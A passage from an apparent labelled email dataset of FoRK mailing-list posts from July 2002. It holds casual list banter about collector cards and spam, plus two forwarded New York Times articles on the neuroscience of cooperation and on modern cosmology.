Wars/Empire Strikes > Back Collector Cards Absultely Free! > These are Original 1980 Topps Star Wars/Empire > Strikes Back Collector Cards from 22 years ago! Not reprints! I have a complete Blue and Red set (series 1 & 2 from 1977), and many cards from series 3-5. Guess they're not worth too much. This site lists them at $45-$60 per set. I do have a C-3PIO enhanced with penis card: http://pages.map.com/starwars/faq.html#penis - Jim http://xent.com/mailman/listinfo/fork",0,1 """Adam L. Beberg"" ",,"Mon, 22 Jul 2002 14:10:44 -0700 (PDT)",spam maps,"Did someone invert the spam filters? I'm getting almost nothing but spam on fork now... - Adam L. ""Duncan"" Beberg http://www.mithral.com/~beberg/ beberg@mithral.com http://xent.com/mailman/listinfo/fork",0,1 Wayne Baisley ,fork@spamassassin.taint.org,"Mon, 22 Jul 2002 16:17:19 -0500",Re: JPEGs patented,"> Are you quoting the Beatles version or the Laibach version? :-) Actually it's from Missing Mole's My Lubavitcher Mama featuring Milton Berners-Sinatra. The version that was recorded in GIF-sur-Yvette, Fr. Cheers, Wayne Our work is semantic, our language protocol. http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ","""Adam L. Beberg"" ","Mon, 22 Jul 2002 14:19:18 -0700",Re: spam maps,"Adam L. Beberg wrote: > Did someone invert the spam filters? I'm getting almost nothing but spam on > fork now... SPAM ASSASSIN. Someone of your highly developed intelligence should have no problems installing such a well-known and commonly used program. I personally still think the solution is to restrict posting to members. But I guess my brown shirt is showing again. - Joe P.S. I hate everybody. http://xent.com/mailman/listinfo/fork",0,1 Dave Long ,fork@spamassassin.taint.org,"Mon, 22 Jul 2002 14:26:31 -0700",deja vu?,"Hmmm. Rumsfeld and Cheney are in the white house, the president says he's not a crook (and no, you can't have those tapes), and the market is melting down. Anyone want to go to Andy Capps for a beer? I hear they have this new game called ""Pong""... Have a nice day, -Dave Anyone seen Elvis lately? http://xent.com/mailman/listinfo/fork",0,1 Luis Villa ,fork@spamassassin.taint.org,22 Jul 2002 17:27:58 -0400,Re: spam maps,"On Mon, 2002-07-22 at 17:19, Joseph S. Barrera III wrote: > - Joe > > P.S. I hate everybody. So you /are/ beberg posting under another name. Finally proof of what we've known all along. ;) Luis http://xent.com/mailman/listinfo/fork",0,1 """Joseph S. Barrera III"" ",Luis Villa ,"Mon, 22 Jul 2002 18:29:11 -0700",Re: spam maps,"Luis Villa wrote: > So you /are/ beberg posting under another name. > Finally proof of what we've known all along. ;) That'll come to a shock to Geege, I'm sure... - Joe http://xent.com/mailman/listinfo/fork",0,1 khare@alumni.caltech.edu,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 05:10:40 -0400 (EDT)",NYTimes.com Article: Why We're So Nice: We're Wired to Cooperate,"This article from NYTimes.com has been sent to you by khare@alumni.caltech.edu. Axelrod, eh? ""the E.coli of social psychology""? Nice to see our old friend still going strong -- Prisoner's Dilemma is old enough to qualify for AARP membership! Regarding experimental design, it is interesting that 1) they used an all-female panel and 2) they included a mix of ages, from 20-60 and 3) they used humans, confederates, computers as well as imitations. The last two paragraphs are a rare sign of editorialized humor by an NY Times bylined writer. Even still, note the very large fig leaf -- the CEO joke is introduced in an on-the-record quote. Not that we're talking about anything nearly as colorful as the Economist :-) RK khare@alumni.caltech.edu Why We're So Nice: We're Wired to Cooperate July 23, 2002 By NATALIE ANGIER What feels as good as chocolate on the tongue or money in the bank but won't make you fat or risk a subpoena from the Securities and Exchange Commission? Hard as it may be to believe in these days of infectious greed and sabers unsheathed, scientists have discovered that the small, brave act of cooperating with another person, of choosing trust over cynicism, generosity over selfishness, makes the brain light up with quiet joy. Studying neural activity in young women who were playing a classic laboratory game called the Prisoner's Dilemma, in which participants can select from a number of greedy or cooperative strategies as they pursue financial gain, researchers found that when the women chose mutualism over ""me-ism,"" the mental circuitry normally associated with reward-seeking behavior swelled to life. And the longer the women engaged in a cooperative strategy, the more strongly flowed the blood to the pathways of pleasure. The researchers, performing their work at Emory University in Atlanta, used magnetic resonance imaging to take what might be called portraits of the brain on hugs. ""The results were really surprising to us,"" said Dr. Gregory S. Berns, a psychiatrist and an author on the new report, which appears in the current issue of the journal Neuron. ""We went in expecting the opposite."" The researchers had thought that the biggest response would occur in cases where one person cooperated and the other defected, when the cooperator might feel that she was being treated unjustly. Instead, the brightest signals arose in cooperative alliances and in those neighborhoods of the brain already known to respond to desserts, pictures of pretty faces, money, cocaine and any number of licit or illicit delights. ""It's reassuring,"" Dr. Berns said. ""In some ways, it says that we're wired to cooperate with each other."" The study is among the first to use M.R.I. technology to examine social interactions in real time, as opposed to taking brain images while subjects stared at static pictures or thought-prescribed thoughts. It is also a novel approach to exploring an ancient conundrum, why are humans so, well, nice? Why are they willing to cooperate with people whom they barely know and to do good deeds and to play fair a surprisingly high percentage of the time? Scientists have no trouble explaining the evolution of competitive behavior. But the depth and breadth of human altruism, the willingness to forgo immediate personal gain for the long-term common good, far exceeds behaviors seen even in other large-brained highly social species like chimpanzees and dolphins, and it has as such been difficult to understand. ""I've pointed out to my students how impressive it is that you can take a group of young men and women of prime reproductive age, have them come into a classroom, sit down and be perfectly comfortable and civil to each other,"" said Dr. Peter J. Richerson, a professor of environmental science and policy at the University of California at Davis and an influential theorist in the field of cultural evolution. ""If you put 50 male and 50 female chimpanzees that don't know each other into a lecture hall, it would be a social explosion."" Dr. Ernst Fehr of the University of Zurich and colleagues recently presented findings on the importance of punishment in maintaining cooperative behavior among humans and the willingness of people to punish those who commit crimes or violate norms, even when the chastisers take risks and gain nothing themselves while serving as ad hoc police. In her survey of the management of so-called commons in small-scale communities where villagers have the right, for example, to graze livestock on commonly held land, Dr. Elinor Ostrom of Indiana University found that all communities have some form of monitoring to gird against cheating or using more than a fair share of the resource. In laboratory games that mimic small-scale commons, Dr. Richerson said, 20 to 30 percent have to be coerced by a threat of punishment to cooperate. Fear alone is not highly likely to inspire cooperative behavior to the degree observed among humans. If research like Dr. Fehr's shows the stick side of the equation, the newest findings present the neural carrot - people cooperate because it feels good to do it. In the new findings, the researchers studied 36 women from 20 to 60 years old, many of them students at Emory and inspired to participate by the promise of monetary rewards. The scientists chose an all-female sample because so few brain-imaging studies have looked at only women. Most have been limited to men or to a mixture of men and women. But there is a vast body of non- imaging data that rely on using the Prisoner's Dilemma. ""It's a simple and elegant model for reciprocity,"" said Dr. James K. Rilling, an author on the Neuron paper who is at Princeton. ""It's been referred to as the E. coli of social psychology."" >>From past results, the researchers said, one can assume that neuro- imaging studies of men playing the game would be similar to their new findings with women. The basic structure of the trial had two women meet each other briefly ahead of time. One was placed in the scanner while the other remained outside the scanning room. The two interacted by computer, playing about 20 rounds of the game. In every round, each player pressed a button to indicate whether she would ""cooperate"" or ""defect."" Her answer would be shown on-screen to the other player. The monetary awards were apportioned after each round. If one player defected and the other cooperated, the defector earned $3 and the cooperator nothing. If both chose to cooperate, each earned $2. If both opted to defect, each earned $1. Hence, mutual cooperation from start to finish was a far more profitable strategy, at $40 a woman, than complete mutual defection, which gave each $20. The risk that a woman took each time she became greedy for a little bit more was that the cooperative strategy would fall apart and that both would emerge the poorer. In some cases, both women were allowed to pursue any strategy that they chose. In other cases, the non- scanned woman would be a ""confederate"" with the researchers, instructed, unbeknown to the scanned subject, to defect after three consecutive rounds of cooperation, the better to keep things less rarefied and pretty and more lifelike and gritty. In still other experiments, the woman in the scanner played a computer and knew that her partner was a machine. In other tests, women played a computer but thought that it was a human. The researchers found that as a rule the freely strategizing women cooperated. Even occasional episodes of defection, whether from free strategizers or confederates, were not necessarily fatal to an alliance. ""The social bond could be reattained easily if the defector chose to cooperate in the next couple of rounds,"" another author of the report, Dr. Clinton D. Kilts, said, ""although the one who had originally been `betrayed' might be wary from then on."" As a result of the episodic defections, the average per-experiment take for the participants was in the $30's. ""Some pairs, though, got locked into mutual defection,"" Dr. Rilling said. Analyzing the scans, the researchers found that in rounds of cooperation, two broad areas of the brain were activated, both rich in neurons able to respond to dopamine, the brain chemical famed for its role in addictive behaviors. One is the anteroventral striatum in the middle of the brain right above the spinal cord. Experiments with rats have shown that when electrodes are placed in the striatum, the animals will repeatedly press a bar to stimulate the electrodes, apparently receiving such pleasurable feedback that they will starve to death rather than stop pressing the bar. Another region activated during cooperation was the orbitofrontal cortex in the region right above the eyes. In addition to being part of the reward-processing system, Dr. Rilling said, it is also involved in impulse control. ""Every round, you're confronted with the possibility of getting an extra dollar by defecting,"" he said. ""The choice to cooperate requires impulse control."" Significantly, the reward circuitry of the women was considerably less responsive when they knew that they were playing against a computer. The thought of a human bond, but not mere monetary gain, was the source of contentment on display. In concert with the imaging results, the women, when asked afterward for summaries of how they felt during the games, often described feeling good when they cooperated and expressed positive feelings of camaraderie toward their playing partners. Assuming that the urge to cooperate is to some extent innate among humans and reinforced by the brain's feel-good circuitry, the question of why it arose remains unclear. Anthropologists have speculated that it took teamwork for humanity's ancestors to hunt large game or gather difficult plant foods or rear difficult children. So the capacity to cooperate conferred a survival advantage on our forebears. Yet as with any other trait, the willingness to abide by the golden rule and to be a good citizen and not cheat and steal from one's neighbors is not uniformly distributed. ""If we put some C.E.O.'s in here, I'd like to see how they respond,"" Dr. Kilts said. ""Maybe they wouldn't find a positive social interaction rewarding at all."" A Prisoner's Dilemma indeed. http://www.nytimes.com/2002/07/23/health/psychology/23COOP.html?ex=1028415440&ei=1&en=2face896773fa4ea HOW TO ADVERTISE --------------------------------- For information on advertising in e-mail newsletters or other creative advertising opportunities with The New York Times on the Web, please contact onlinesales@nytimes.com or visit our online media kit at http://www.nytimes.com/adinfo For general information about NYTimes.com, write to help@nytimes.com. Copyright 2002 The New York Times Company http://xent.com/mailman/listinfo/fork",0,1 khare@alumni.caltech.edu,fork@spamassassin.taint.org,"Tue, 23 Jul 2002 05:23:43 -0400 (EDT)",NYTimes.com Article: In the Beginning ...,"This article from NYTimes.com has been sent to you by khare@alumni.caltech.edu. I'm sure that at the end of the universe, they'll still only find Douglas Adams, calmly munching away on his mooburger :-) The prospect of expansion so rapid that the night sky empties out because other galaxies are simply *outside* our light cone -- ??!? -- is really chilling. Puts comm latency in a whole new perspective... what if, in the future, processors go so fast there *is* no network? Or, at least, TCP segments would arrive so rarely they would seem as inscrutable as commandments from the heavens... Rohit khare@alumni.caltech.edu In the Beginning ... July 23, 2002 By DENNIS OVERBYE It has always been easy to make fun of cosmologists, confined to a dust mote lost in space, pronouncing judgment on the fate of the universe or the behavior of galaxies billions of light-years away, with only a few scraps of light as evidence. ""Cosmologists are often wrong,"" the Russian physicist Lev Landau put it, ""but never in doubt."" For most of the 20th century, cosmology seemed less a science than a religious war over, say, whether the universe had a beginning, in a fiery Big Bang billions of years ago, or whether it exists eternally in the so-called Steady State. In the last few years, however, a funny thing has happened. Cosmologists are beginning to agree with one another. Blessed with new instruments like the Hubble Space Telescope and other space-based observatories, a new generation of their giant cousins on the ground and ever-faster computer networks, cosmology is entering ""a golden age"" in which data are finally outrunning speculation. ""The rate at which we are learning and discovering new things is just extraordinary,"" said Dr. Charles Bennett, an astronomer at the Goddard Space Flight Center in Greenbelt, Md. As a result, cosmologists are beginning to converge on what they call a ""standard model"" of the universe that is towering in its ambition. It purports to trace, at least in broad strokes, cosmic history from the millisecond after time began, when the universe was a boiling stew of energy and subatomic particles, through the formation of atoms, stars, galaxies and planets to the vast, dilute, dark future in which all of these will have died. The universe, the cosmologists say, was born 14 billion years ago in the Big Bang. Most of its material remains resides in huge clouds of invisible so-called dark matter, perhaps elementary particles left over from the primordial explosion and not yet identified. Within these invisible clouds, the glittery lights in the sky that have defined creation for generations of humans are swamped, like flecks of foam on a rolling sea. A good case can be made, scientists now agree, that the universe will go on expanding forever. In fact, recent observations have suggested that the expansion of the universe is speeding up over cosmic time, under the influence of a ""dark energy"" even more mysterious than dark matter. Recently, a group of astronomers led by Dr. William Percival at the University of Edinburgh combined data from a variety of observations to compile, based on the simplest theoretical model, what they say is the most precise enumeration yet of the parameters that cosmologists have been fighting about for all these decades. The universe, they calculated, is 13.89 billion years old, plus or minus half a billion years. Only 4.8 percent of it is made of ordinary matter. Matter of all types, known and unknown, luminous and dark, accounts for just 27.5 percent. The rest of creation, 72.5 percent, is the mysterious dark energy, they reported in a paper submitted last month to The Monthly Notices of the Royal Astronomical Society. It is a picture that in some ways is surprisingly simple, satisfying long-held theoretical prejudices about how the universe should be designed. Continued agreement with coming experiments may mean that science is approaching the end of a ""great program"" of cosmological tests that began in the 1930's, Dr. P. J. E. Peebles of Princeton and Dr. Bharat Ratra of Kansas State University said in the draft of a coming article for The Reviews of Modern Physics. In other ways this new dark universe is utterly baffling, a road map to new mysteries. Dr. Marc Davis, a cosmologist at the University of California at Berkeley, called it ""a universe chock full of exotics that don't make sense to anybody."" Moreover there are some questions that scientists still do not know how to ask, let alone answer, scientifically. Was there anything before the Big Bang? Is there a role for life in the cosmos? Why is there something rather than nothing at all? Will we ever know? ""We know much, but we still understand very little,"" said Dr. Michael Turner, a cosmologist at the University of Chicago. The Big Question Expanding Forever, Or Big Crunch? The dim caves of Lascaux, the plains of Stonehenge and the dreamtime tales of Australian aborigines all testify to the need to explain the world and existence. This quest took its present form in 1917. That was when Albert Einstein took his new general theory of relativity, which explained how matter and energy warp space-time to produce gravity, and applied it to the universe. Einstein discovered that the cosmos as his theory described it would be unstable, prone to collapse under its own gravity. Astronomers, however, were sure that the universe was stable. So Einstein added a fudge factor that he called the cosmological constant to his equations. It acted as a long-range repulsive force to counterbalance gravity. In 1929, the astronomer Edwin Hubble discovered that the universe was expanding. The sky was full of distant galaxies all rushing away from us and one another, as if propelled by what the British astronomer Dr. Fred Hoyle later called derisively a ""big bang."" The universe was not stable and, thus, did not require counterbalancing. Einstein abandoned his constant, referring to it as his biggest blunder. But it would return to haunt cosmologists, and the universe. Hoyle's term stuck, and the notion of an explosive genesis became orthodoxy in 1965, when Dr. Arno Penzias and Dr. Robert Wilson, radio astronomers at Bell Laboratories, discovered a faint uniform radio glow that pervaded the sky. It was, cosmologists concluded, the fading remnant of the primordial fireball itself. Relieved of their fudge factor, the equations describing Einstein's universe were simple. Dr. Allan Sandage, the Carnegie Observatories astronomer, once called cosmology ""the search for two numbers"" - one, the Hubble constant, telling how fast the universe is expanding, and the other telling how fast the expansion is slowing, and thus whether the universe will expand forever or not. The second number, known as the deceleration parameter, indicated how much the cosmos had been warped by the density of its contents. In a high-density universe, space would be curved around on itself like a ball. Such a universe would eventually stop expanding and fall back together in a big crunch that would extinguish space and time, as well as the galaxies and stars that inhabit them. A low-density universe, on the other hand, would have an opposite or ""open"" curvature like a saddle, harder to envision, and would expand forever. In between with no overall warpage at all was a ""Goldilocks"" universe with just the right density to expand forever but more and more slowly, so that after an infinite time it would coast to a stop. This was a ""flat"" universe in the cosmological parlance, and to many theorists the simplest and most mathematically beautiful solution of all. But the sky did not yield those cosmic numbers easily, even with the help of the 200-inch Hale telescope on Palomar Mountain in Southern California, dedicated in 1948, which had been built largely for that task. Dr. Hubble wrote of measuring shadows and searching ""among ghostly errors of measurement for landmarks that are scarcely more substantial."" The Dark Side Invisible Matter Molds Galaxies It was not till the mid-70's, a quarter-century after the Palomar giant began operating, that groups of astronomers reached the tentative conclusion that the universe they could see - stars, gas, planets and galaxies - did not have nearly enough gravitational oomph to stop the cosmic expansion. ""So the universe will continue to expand forever and galaxies will get farther and farther apart, and things will just die,"" Dr. Sandage said at the time. But the Great Argument was just beginning. Apparently there was a lot of the universe that astronomers could not see. The stars and galaxies, were moving as if immersed in the gravity of giant invisible clouds of so-called dark matter - ""missing matter"" the Swiss astronomer Dr. Fritz Zwicky labeled it in the 1930's. Many galaxies, for example, are rotating so fast that they would fly apart unless they were being reined in by the gravity of halos of dark matter, according to pioneering observations by Dr. Vera Rubin of the Carnegie Institution of Washington and her colleagues. Her measurements indicated that these dark halos outweighed the visible galaxies themselves from 5 to 10 times. But there could be even more dark matter farther out in space, perhaps enough to stop the expansion of the universe, eventually, some theorists suggested. Luminous matter, the Darth Vaders of the sky said, is like the snow on mountaintops. But what is the dark matter? While some of it is gas or dark dim objects like stars and planets, cosmologists speculate that most of it is subatomic particles left over from the Big Bang. Many varieties of these particles are predicted by theories of high-energy physics. But their existence has not been confirmed or detected in particle accelerators. ""We theorists can invent all sorts of garbage to fill the universe,"" Dr. Sheldon Glashow, a Harvard physicist and Nobel laureate, told a gathering on dark matter in 1981. Collectively known as WIMP's, for weakly interacting massive particles, such particles would not respond to electromagnetism, the force responsible for light, and thus would be unable to radiate or reflect light. They would also be relatively slow-moving, or ""cold"" in physics jargon, and thus also go by the name of cold dark matter. As Earth in its travels passed through the dark-matter cloud that presumably envelops the Milky Way, the particles would shoot through our bodies, rarely leaving a trace, like moonlight through a window. But the collective gravity of such particles, cosmologists say, would shape the cosmos and its contents. Gathering along the fault lines laid down by random perturbations of density in the early universe, dark matter would congeal into clouds with about the mass of 100,000 Suns. The ordinary matter that was mixed in with it would cool and fall to the centers of the clouds and light up as stars. The clouds would then attract other clouds. Through a series of mergers over billions of years, smaller clouds would assemble into galaxies, and the galaxies would then assemble themselves into clusters of thousands of galaxies, and so forth. Using the Hubble and other telescopes as time machines - light travels at a finite speed, so the farther out astronomers look the farther back in time they see - cosmologists have begun to confirm that the universe did assemble itself from the ""bottom up,"" as the dark matter model predicts. Last year, two teams of astronomers reported seeing the first stars burning their way out of the cloudy aftermath of the Big Bang, when the universe was only 900 million years old. The bulk of galaxy formation occurred when the universe was a half to a quarter its present age, cosmologists say. ""The big news in the last decade is that even half a universe ago the universe looked pretty different,"" said Dr. Alan Dressler of the Carnegie Observatories in Pasadena. Galaxies before then were small and irregular, with no sign of the majestic spiral spider webs that decorate the sky today. We would barely recognize our own Milky Way galaxy, if we could see it five billion years ago when the Sun formed, he said. ""By eight billion years back, it would be unrecognizable,"" said Dr. Dressler. Yet there are still many questions that the cold dark matter model does not answer. Astronomers still do not know, for example, how the first stars formed or why the models of dark matter distribution don't quite fit in the cores of some kinds of galaxies. Nor have the dark matter particles themselves been unambiguously detected or identified, despite continuing experiments. Some astronomers suggest that the discrepancies stem from the inability of simple mathematical models to deal with messy details of the real world. ""It's a huge mystery exactly how stars form,"" Dr. Richard Bond of the Canadian Institute for Theoretical Astrophysics said. ""We can't solve it now. So it's even harder to try to solve them back then."" But others, notably Dr. Mordehai Milgrom, a theorist at the Weizmann Institute in Israel, have suggested that modifying the gravitational laws by which dark matter was deduced in the first place would alleviate the need for dark matter altogether. The Bang's Fuel Inflating One Ounce To a Whole Universe Clues to what had actually exploded in the Big Bang emerged as an unexpected gift from another great scientific quest: physicists' pursuit for a so-called theory of everything that would unite all physical phenomena in a single equation. Unable to build machines powerful enough to test their most ambitious notions on Earth, some theorists turned to the sky. ""The Big Bang is the poor man's particle accelerator,"" Dr. Jakob Zeldovich, an influential Russian cosmologist, said. Physicists recognize four forces at work in the world today - gravity, electromagnetism, and the strong and weak nuclear forces. But they suspect, based on data from particle accelerators and high-powered theory, that those are simply different manifestations of a single unified force that ruled the universe in its earliest, hottest moments. As the universe cooled, according to this theory, there was a fall from grace, and the laws of physics evolved, with one force after another ""freezing out,"" or splitting away. In 1979, Dr. Alan Guth, now at the Massachusetts Institute of Technology, realized that a hypothesized glitch in this process would have had drastic consequences for the universe. Under some circumstances, a glass of water can stay liquid as the temperature falls below 32 degrees, until it is disturbed, at which point it will rapidly freeze, releasing latent heat in the process. Similarly, the universe could ""supercool"" and stay in a unified state too long. In that case, space itself would become temporarily imbued with a mysterious kind of latent heat, or energy. Inserted into Einstein's equations, the latent energy would act as a kind of antigravity, and the universe would blow itself apart, Dr. Guth discovered in a calculation in 1979. In far less than the blink of an eye, 10-37 second, a speck much smaller than a proton would have swollen to the size of a grapefruit and then resumed its more stately expansion, with all of normal cosmic history before it, resulting in today's observable universe - a patch of sky and stars 14 billion light-years across. All, by the magical-seeming logic of Einstein's equations, from about an ounce of primordial stuff. ""The universe,"" Dr. Guth liked to say, ""might be the ultimate free lunch."" Dr. Guth called his theory inflation. Inflation, as Dr. Guth pointed out, explains why the universe is expanding. Dr. Turner of the University of Chicago referred to it as ""the dynamite behind the Big Bang."" As modified and improved by Dr. Andrei Linde, now at Stanford, and by Dr. Paul Steinhardt, now at Princeton and Dr. Andreas Albrecht now at the University of California at Davis, inflation has been the workhorse of cosmology ever since. One of its great virtues, cosmologists say, is that inflation explains the origin of galaxies, the main citizens of the cosmos. The answer comes from the paradoxical-sounding quantum rules that govern subatomic affairs. On the smallest scales, according to quantum theory, nature is lumpy, emitting even energy in little bits and subject to an irreducible randomness. As a result, so-called quantum fluctuations would leave faint lumps in the early universe. These would serve as the gravitational seeds for future galaxies and other cosmic structures. As a result of such successes, cosmologists have stuck with the idea of inflation, even though, lacking the ability to test their theories at the high energies of the Big Bang, they have no precise theory about what might have actually caused it. ""Inflation is actually a class of theories,"" said Dr. Guth. In the latest version, called ""chaotic inflation,"" Dr. Linde has argued that quantum fluctuations in a myriad of theorized force fields could have done the trick. Indeed, he and others now say they believe that inflation can occur over and over, spawning an endless chain of universes out of one another, like bubbles within bubbles. ""The universe inflates on top of itself,"" Dr. Linde told a physics conference this spring in Princeton. ""It's happening right now."" The Golden Age New Devices Detect Primordial Glow If the inflationary theorists are right, the universe we see, the 14 billion light-years, is just a tiny piece of a much vaster universe, or even a whole ensemble of them, forever out of our view. According to the theory, therefore, our own little patch of the cosmos should appear geometrically ""flat,"" the way a section of a balloon looks flat when viewed close up. This was the universe long thought to be the most beautiful and simple. But it required, by the logic of Einstein's general relativity, that there be much more dark matter, or something, to the universe, enough to ""flatten"" space-time, than astronomers had found. In fact, this prescription was so hard to reconcile with other observations, of galaxies and their evolutions, that by 1991 some astronomers and press reports suggested that the entire theoretical edifice of inflation to blow up the universe and cold dark matter to fill it, not to say the Big Bang itself, might have to be junked. So it was with a sigh of relief that cosmologists greeted the announcement in April 1992 that NASA's Cosmic Background Explorer, or COBE, satellite had succeeded in discerning faint blotches in the primordial cosmic radio glow. These were the seeds from which, inflation predicted, large cosmic structures would eventually grow. ""If you're religious, it's like seeing God,"" said Dr. George Smoot, a physicist from the Lawrence Berkeley National Laboratory who led the COBE team. Astronomers say COBE signaled a transition in which heroic ideas about the universe began to be replaced by heroic data, as long-planned new telescopes and other instruments went into operation. A year later, skywalking astronauts corrected the Hubble telescope's myopic vision. The cosmic background radiation has come in for particular scrutiny from new radio telescopes mounted in balloons and on mountaintops. The news has been good, though not decisive, for inflation. For three years, a series of increasingly high-resolution observations has confirmed that the pattern of blotches stippling the remnant of the primordial fireball is consistent with the predictions from inflation and cold dark matter. The instruments have now mapped details small enough to have been the seeds of modern clusters of galaxies. ""I'm completely snowed by the cosmic background radiation,"" Dr. Guth said. ""The signal was so weak it wasn't even detected until 1965, and now they're measuring fluctuations of one part in 100,000."" Perhaps most important, the analysis of the fluctuations indicates that the universe has a ""flat"" geometry, as predicted by inflation. That was a triumph. Although observations could not prove that inflation was right, a nonflat universe would have been a blow to the theory, and to cosmological orthodoxy. ""Inflation, our boldest and most promising theory of the earliest moments of creation, passed its first very important test,"" Dr. Turner said at the time. The most precise measurements of the cosmic background, at least in the near future, are generally expected to come late this year from NASA's Microwave Anisotropy Project, or MAP, satellite, which was launched into space last year on June 30. MAP will be followed by the European Space Agency's Planck satellite, in 2006. It is highly unlikely that MAP or Planck will be able to detect what Dr. Turner calls ""the smoking gun signature of inflation."" The violent stretching of the universe should roil space-time with so-called gravitational waves that would leave a faint imprint on the cosmic fireball. Detecting those waves would not only confirm inflation, but also might help scientists establish what caused the inflation in the first place, giving science its first look at the strange physics that prevailed when creation was only about a trillionth of a trillionth of a trillionth of a second old. The Universe's Fate Bleak Implications Of `Dark Energy' In 1998, two competing teams of astronomers startled the scientific world with the news that the expansion of the universe seemed to be speeding up under the influence of a mysterious antigravity that seems embedded in space itself and that is hauntingly reminiscent of Einstein's old, presumably discredited, cosmological constant. ""Dark energy,"" the phenomenon was quickly named. If dark energy is real and the acceleration continues, the galaxies will eventually speed away from one another so quickly that they couldn't see one another. The universe would become cold and empty as the continued acceleration sucked away the energy needed for life and thought. It would be ""the worst possible universe,"" for the quality and quantity of life, said Dr. Lawrence Krauss, a physicist at Case Western Reserve University. Dr. Edward Witten of the Institute for Advanced Study in Princeton, called the discovery of dark energy ""the strangest experimental finding since I've been in physics."" The discovery was a surprise to the astronomers involved. Neither team had expected to find the universe accelerating. They had each set out to measure by how much the expansion of the universe was slowing because of the gravity of its contents and thus settle the question of its fate. One team was led by Dr. Saul Perlmutter, a physicist at Lawrence Berkeley. The other team was a band of astronomers led by Dr. Brian Schmidt of Mount Stromlo and the Siding Spring Observatory in Australia. Each group employed far-flung networks of telescopes, including the Hubble, and the Internet to find and monitor certain exploding stars, or supernovas, as cosmic beacons. Such explosions, the death rattles of massive stars, are powerful enough to be seen clear across the universe when the universe was younger and, presumably, expanding faster. Leapfrogging each other across the universe, the two teams, propitiously for their credibility, arrived at the same answer at the same time: the cosmos was not slowing at all; it was speeding up. Dr. Perlmutter, who had once resented the competition, conceded, ""With only one group, it would have been a lot harder to get the community to buy into such a surprising result."" ""This was a very strange result,"" said Dr. Adam Riess, a member of Dr. Schmidt's team. ""It was the opposite of what we thought we were doing."" The results have sent Einstein's old cosmological constant to the forefront of cosmology. Despite his disavowal, the constant had never really gone away and had in fact been given new life by quantum physics. Einstein had famously rejected quantum's randomness, saying God didn't play dice. But it justified, in retrospect, his fudge factor. According to the uncertainty principle, a pillar of quantum theory, empty space was not empty, but rather foaming with the energy of so-called virtual particles as they flashed in and out of existence on borrowed energy. This so-called vacuum energy could repel, just like Einstein's old cosmological constant, or attract. The case for dark energy got even stronger a year later, when the cosmic background observations reported evidence of a flat universe. Because astronomers had been able to find only about a third as much matter, both dark and luminous, as was needed by Einstein's laws to create a flat geometry, something else had to be adding to it. The discovery of dark energy exemplified Dr. Zeldovich's view of the universe as the poor man's particle accelerator, and it caught the physicists flat-footed, somewhat to the pride of the astronomers. ""A coming of age of astronomy,"" Dr. Dressler called it. What is dark energy? The question now hangs over the universe. Is it really Einstein's old fudge factor returned to haunt his children? In that case, as the universe expands and the volume of space increases, astronomers say, the push because of dark energy will also increase, accelerating the galaxies away from one another faster and faster, leading to a dire dark future. Other physicists, however, have pointed out that the theories of modern physics are replete with mysterious force fields, collectively called ""quintessence,"" that might or might not exist, but that could temporarily produce negative gravity and mimic the action of a cosmological constant. In that case, all bets on the future are off. The universe could accelerate and then decelerate, or vice versa as the dark energy fields rose or fell. A third possibility is that dark energy does not exist at all, in which case not just the future, but the whole carefully constructed jigsaw puzzle of cosmology, might be in doubt. The effects of cosmic acceleration could be mimicked, astronomers say, by unusual dust in the far universe or by unsuspected changes in the characteristics of supernovas over cosmic time. As a result, more groups are joining the original two teams in the hunt for new supernovas and other ways to measure the effects of dark energy on the history of the universe. Dr. Perlmutter has proposed building a special satellite telescope, the Supernova Astronomy Project, to investigate exactly when and how abruptly the cosmic acceleration kicked in. The Nagging QuestionsA Grand Synthesis, But Hardly Complete For all the new answers being harvested, some old questions linger, and they have now been joined by new ones. A flat universe is the most mathematically appealing solution of Einstein's equations, cosmologists agree. But they are puzzled by the specific recipe, large helpings of dark matter and dark energy, that nature has chosen. Dr. Turner called it ""a preposterous universe."" But Dr. Martin Rees, a Cambridge University cosmologist, said that the discovery of a deeper principle governing the universe and, perhaps, life, may alter our view of what is fundamental. Some features of the universe that are now considered fundamental - like the exact mixture of dark matter, dark energy and regular stuff in the cosmos - may turn out to be mere accidents of evolution in one out of the many, many universes allowed by eternal inflation. ""If we had a theory, then we would know whether there were many big bangs or one,"" Dr. Rees said. The answers to these and other questions, many scientists suspect, have to await the final unification of physics, a theory that reconciles Einstein's relativity, which describes the shape of the universe, to the quantum chaos that lives inside it. Such a theory, quantum gravity, is needed to describe the first few moments of the universe, when it was so small that even space and time should become fuzzy and discontinuous. For two decades, many physicists have placed their bets for quantum gravity on string theory, which posits that elementary particles are tiny strings vibrating in a 10- or 11-dimensional space. Each kind of particle, in a sense, corresponds to a different note on the string. In principle, string theory can explain all the forces of nature. But even its adherents concede that their equations are just approximations to an unknown theory that they call M-theory, with ""M"" standing for matrix, magic, mystery or even mother, as in ""mother of all theories."" Moreover, the effects of ""stringy physics"" are only evident at energies forever beyond the limits of particle accelerators. Some string theorists have ventured into cosmology, hoping, to discover some effect that would show up in the poor man's particle accelerator, the sky. In addition to strings, the theory also includes membranes, or ""branes,"" of various dimensions. Our universe can be envisioned as such a brane floating in higher-dimensional space like a leaf in a fish tank, perhaps with other brane universes nearby. These branes could interact gravitationally or even collide, setting off the Big Bang. In one version suggested last year by four cosmologists led by Dr. Steinhardt of Princeton, another brane would repeatedly collide with our own. They pass back and forth through each other, causing our universe to undergo an eternal chain of big bangs. Such notions are probably the future for those who are paid to wonder about the universe. And the fruits of this work could yet cause cosmologists to reconsider their new consensus, warned Dr. Peebles of Princeton, who has often acted as the conscience of the cosmological community, trying to put the brakes on faddish trends. He wonders whether the situation today can be compared to another historical era, around 1900, when many people thought that physics was essentially finished and when the English physicist Lord Kelvin said that just a couple of ""clouds"" remained to be dealt with. ""A few annoying tidbits, which turned out to be relativity and quantum theory,"" the twin revolutions of 20th-century science, Dr. Peebles said. Likewise, there are a few clouds today like what he called ""the dark sector,"" which could have more complicated physics than cosmologists think. ""I'm not convinced these clouds herald revolutions as deep as relativity and quantum mechanics,"" Dr. Peebles said. ""I'm not arguing that they won't."" As for the fate of the universe, we will never have a firm answer, said Dr. Sandage, who was Hubble's protg and has seen it all. ""It's like asking, `Does God exist?' "" he said. Predicting the future, he pointed out, requires faith that simple mathematical models really work to describe the universe. ""I don't think we really know how things work,"" he said. Although Dr. Sandage does not buy into all aspects of the emerging orthodoxy, he said it was a fantastic time to be alive. ""It's all working toward a much grander synthesis than we could have imagined 100 years ago,"" 